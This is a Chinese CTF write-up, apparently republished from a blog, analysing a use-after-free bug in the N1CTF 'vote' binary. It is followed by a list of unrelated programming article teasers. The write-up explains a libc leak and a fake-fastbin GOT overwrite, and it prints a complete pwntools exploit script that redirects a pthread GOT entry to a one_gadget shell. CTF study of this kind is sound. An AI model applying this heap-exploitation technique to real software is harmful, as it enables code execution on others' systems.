N1CTF 塞题vote分析

 

  N1CTF 塞题vote分析:这个题是一个uaf的漏洞题,我们先看看漏洞(如下图),这两部分是很明显的对比的啊。当单独的一个count数组的数据和堆里的数据相同时候,就会释放堆,堆释放后的count还会有指针指向这块内存,释放后我们能够(通过vote)修改数据,典型的uaf。那么我们修改构造(fd)的数据时候,下次申请特定地址的内存的时候,就可以对特定内存进行修改的。

  

这里的sleep()函数,pthread_create每次调用,都会sleep3秒,所以用脚本vote和cancel的时候总是导致无法触发uaf,调试时候需要在脚本中用time.sleep(3)来完成。

    

 count数组的数值和堆里的fd数值保持一致。

  

 

   

 

我们先来看几个函数,虽然不一定是核心函数,但可以增长知识哈:

void *memset(void *s, int ch, size_t n);
函数解释:将s中当前位置后面的n个字节 (typedef unsigned int size_t )用 ch 替换并返回 s 。

memset:作用是在一段内存块中填充某个给定的值,它是对较大的结构体或数组进行清零操作的一种最快方法

 

解题过程:

结构体:

    {
        long int count  (malloc data)
        long int time    (malloc data+8)
        char name        (malloc data+16)        
    }

  

三个位置分别为count,time,name。

 

构造伪堆,主要构造size和fd的数据:

  

 

 具体利用过程:

  一、leak地址:

  通过申请0x80(+0x20的堆头)的堆,释放成unsortbins,成双向链表,fd和bk指向main_arena+88,在通过与libc的偏移计算出libc。

  

 

二、构造伪堆:

构造好了伪造的fd之后,如果直接用pthread的地址做伪堆的地址话,会由于size检查导致分配失败。 哦,对了申请了两次伪堆,第一次是为了填充到我们的got表的地址而申请的,方法是在堆的24字节之后伪造堆,第二次是直接向共同表写入数据。 

 

 

 

 

  

那么我们来找合适的size

 

 找到合适的size了(如下图),我们需要构造了伪堆的位置就是0x601ffa了。

 

 

成功修改了got的地址为我们的one_gadget的地址了,下面就是执行vote,触发one_gadget执行了。

 

 

利用思路总结

1.首先leak出libc的地址,通过unsorted bin泄露出其中fd(count)的数据,即是main_arena +88,然后通过偏移计算libc的地址。

2.通过修改fastbin的fd,构造伪堆,伪堆在got_pthread的附近,然后写入数据,修改got_pthread为one_gadget的地址。

3.通过vote函数,触发pthread函数,即执行了one_gadget的命令。

 

exp如下:

 

  1 #!/usr/bin/env python
  2 from pwn import*
  3 import time
  4 
  5 local =1
  6 debug = 1
  7 
  8 if local:
  9     p = process('./vote')
 10 
 11 else:
 12     p = remote("127.0.0.1",8080)
 13 
 14 #context.log_level = 'debug'
 15 
 16 def create(num,name):
 17     p.recvuntil("Action:")
 18     p.sendline("0")
 19     p.recvuntil("Please enter the name's size:")
 20     p.sendline(str(num))
 21     p.recvuntil("Please enter the name: ")
 22     p.sendline(name)
 23 
 24 def show(num):
 25     p.recvuntil("Action:")
 26     p.sendline("1")
 27     p.recvuntil("Please enter the index:")
 28     p.sendline(str(num))
 29 
 30 def vote(num):
 31     p.recvuntil("Action:")
 32     p.sendline("2")
 33     p.recvuntil("Please enter the index:")
 34     p.sendline(str(num))
 35 
 36 def cancel(num):
 37     p.recvuntil("Action:")
 38     p.sendline("4")
 39     p.recvuntil("Please enter the index:")
 40     p.sendline(str(num))
 41 def result():
 42     p.recvuntil("Action:")
 43     p.sendline("3")
 44 
 45 def add(num,i):
 46     for i in range(0,i):
 47         vote(str(num))
 48 
 49 #---------------leak addr----------------------------
 50 
 51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 52 ppp = libc.symbols['write']
 53 print "write=",hex(ppp)
 54 
 55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
 56 #raw_input()
 57 
 58 
 59 create(0x80,"AAAA")
 60 create(0x80,"BBBB")
 61 cancel(0)
 62 
 63 #add(0,16)
 64 #vote(0)
 65 #time.sleep(4)
 66 show(0)
 67 
 68 p.recvuntil("count:")
 69 main_arena = p.recv(16)
 70 #main_arena = p.read(15)
 71 print"main_arena =",str(main_arena)
 72 
 73 libc_addr = int(main_arena)-0x3c4b78  
 74 one = libc_addr + 0x4526a
 75 
 76 print "libc_addr=",hex(libc_addr)
 77 print "one=",hex(one)
 78 
 79 
 80 
 81 #time.sleep(5)
 82 
 83 #---------------fake heap----------------------------
 84 #add(0,16)
 85 got_pthread = 0x601ffa #0x602020
 86 print "got_pthread:",hex(got_pthread)
 87 
 88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef)
 89 
 90 create(0x40,payload)
 91 create(0x40,"DDDD")
 92 
 93 cancel(2)
 94 cancel(3)
 95 
 96 add(3,24)
 97 create(0x40,"FF")
 98 
 99 #---------------shellcode----------------------------
100 
101 #write = libc_addr +0x3da490
102 write = libc_addr +libc.symbols['write']
103 #strlen = libc_addr +0x8b720
104 strlen = libc_addr +libc.symbols['strlen']
105 shellcode =  "AAAAAA"+ p64(one) + p64(write) + p64(strlen)
106 #shellcode = "AAAAAA"
107 
108 create(0x40,"GG")
109 
110 create(0x40,shellcode)
111 
112 vote(0)
113 
114 
115 #gdb.attach(p)
116 p.interactive()

 

转载于:https://www.cnblogs.com/Yable/p/8824590.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/452029.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

String.valueOf()方法与toString()方法的区别

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 1. 两者都是把ObJect对象转化为String 类型。 2.string.valueof()方法有作非空判断,在内部也是调用的toString()方法&#…

网络爬虫--11.XPath和lxml

文章目录一. XML1. XML 和 HTML 的区别2. XML文档示例3. HTML DOM 模型示例4. XML的节点关系二. 什么是XPath?1. 选取节点2. 谓语(Predicates)3. 选取未知节点4. 选取若干路径5. XPath的运算符三. lxml库1. 初步使用2. 文件读取四. XPath实例…

实体与属性间的划分原则

为了简化E-R图的处置,现实世界的事物能作为属性对待的,尽量作为属性对待。 两条准则: (1)作为属性,不能再具有需要描述的性质。属性必须是不可分的数据项,不能包含其他属性。 (2&…

编程开发之--java多线程学习总结(5)

4、对继承自Runnable的线程进行锁机制的使用 package com.lfy.ThreadsSynchronize;import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock;public class TicketSellSolution4 implements Runnable {private static int num 50;//创建一个…

软件测试不是一个功能

今天在工作中我对一个同事说,PyDev 2.5.0现在对TDD(测试驱动开发)提供了很酷的支持了。我并不是一个对TDD很痴迷的倡导者,对其它事物也一样,但仍不免激起了一场讨论。这个家伙,让我们暂叫他约翰&#xff0c…

Linux 操作系统基础知识

1.操作系统总体介绍 •CPU: 就像人的大脑,主要负责相关事情的判断以及实际处理的机制。查询指令: cat /proc/cpuinfo•内存: 大脑中的记忆区块,将皮肤、眼睛等所收集到的信息记录起来的地方,以供CPU进行判断…

Transaction 那点事儿,Spring事务管理

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 Transaction 也就是所谓的事务了,通俗理解就是一件事情。从小,父母就教育我们,做事情要有始有终&…

网络爬虫--12.【XPath实战】获取百度贴吧中的图片

用XPath来做一个简单的爬虫,我们尝试爬取某个贴吧里的所有帖子,并且将该这个帖子里每个楼层发布的图片下载到本地。 #codingutf-8 import requests from lxml import etree import jsonclass Tieba:def __init__(self,tieba_name):self.tieba_name tie…

合并分ER图产生的冲突

合并分E-R图 各个局部应用所面向的问题不同,各个子系统的E-R图之间必定会存在许多不一致的地方,称之为冲突。 子系统E-R图之间的冲突主要有三类: ①属性冲突 ②命名冲突 ③结构冲突①属性冲突 属性域冲突,即属性值的类型、取值范围…

8.类定义、属性、初始化和析构

类定义 类 是一个独立存放变量(属性/方法)的空间 封装: 类可以把各种对象组织在一起,作为类的属性,通过 . (点)运算符来调用类中封装好的对象 属性: 变量在类中称为属性,但是类中的属性不仅仅只包含变量&#x…

GPL以及Copyleft协议使用率下降明显

根据最新的协议数据分析,不光是GPL,另外一些copyleft(AGPL,LGPL 等等)协议的使用率在不断下降,并且下降的速度越来越快。 这结果是在意料之中的,因为GPL非常的复杂。越来越多的个人和企业将选择…

概念模型和关系模型

ER模型(逻辑模型) ER模型的基本元素是:实体、联系和属性 实体:是一个数据对象,指应用中可以区别的客观存在的事物。(ER模型中的实体往往是指实体集) 实体集:指同一类实体构成的集合…

iOS AutoLayout使用技巧

关于ContentCompressionResistance, ContentHugging运用 如下图效果图,两个Label并列在同一排上,左边label自适应,右边label(红色)要使得内容全部展示,如果左边label内容很少,那么右…

网络爬虫--13.数据提取之JSON与JsonPATH

文章目录一. 前言二. JSON三. json.loads()四. json.dumps()五. json.dump()六. json.load()七. JsonPath八. JsonPath与XPath语法对比九. 案例分析一. 前言 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,它使得人们很容易的进行阅读和编写。同时…

vs2017生成sqlserver 2017项目出现.Net SqlClient Data Provider: Msg 10343

一、使用vs2017生成sqlserver 2017项目时由于添加的程序集(CLR集成,可以参考后面给出的链接进行理解) ,由于安全权限的配置不正确引发以下的问题: SQL72014: .Net SqlClient Data Provider: Msg 10343, Level 14, State 1, Line 1 针对带有 SAFE 或 EXT…

数据库系统常用的存取方法

1. B树索引存取方法 2. Hash索引存取方法 3. 聚簇存取方法

创建型模式二:工厂方法模式

1. 工厂模式介绍 工厂模式(Factory Pattern)的意义就跟它的名字一样,在面向对象程序设计中,工厂通常是一个用来创建其他对象的对象。工厂模式根据不同的参数来实现不同的分配方案和创建对象。 在工厂模式中,我们在创建…

spring 的4种事务管理(1种编程式+3种声明式)

见:http://blog.csdn.net/sinat_25926481/article/details/48208619 Spring的4种事务管理(1种编程式事务三种声明事务) 一、Spring事务的介绍 二、编程式事务xml的配置 注入后直接在service层调用模板的方法使用 三、基于AOP方式的声明式事务…

如何创造出更优秀的用户体验?

对于互联网公司来说,用户体验起到至关重要的作用,能否给用户留下深刻的印象;开发出的产品是否实用、易用?等等这些都是开发者必将思考的话题。当有用性一样的时候,大家的竞争重点就是易用性了,这就是互联网…

java并发编程实战-第三章-对象的共享

3.1可见性 首先我们需要知道的是,java的线程都有自己独立的缓存,线程之间进行共享变量的交互是通过自身和缓存和主存的交互实现的。如果线程的每次更改缓存都刷入主存,主存每次被一个线程的缓存修改,都通知所有的线程刷新自身的缓…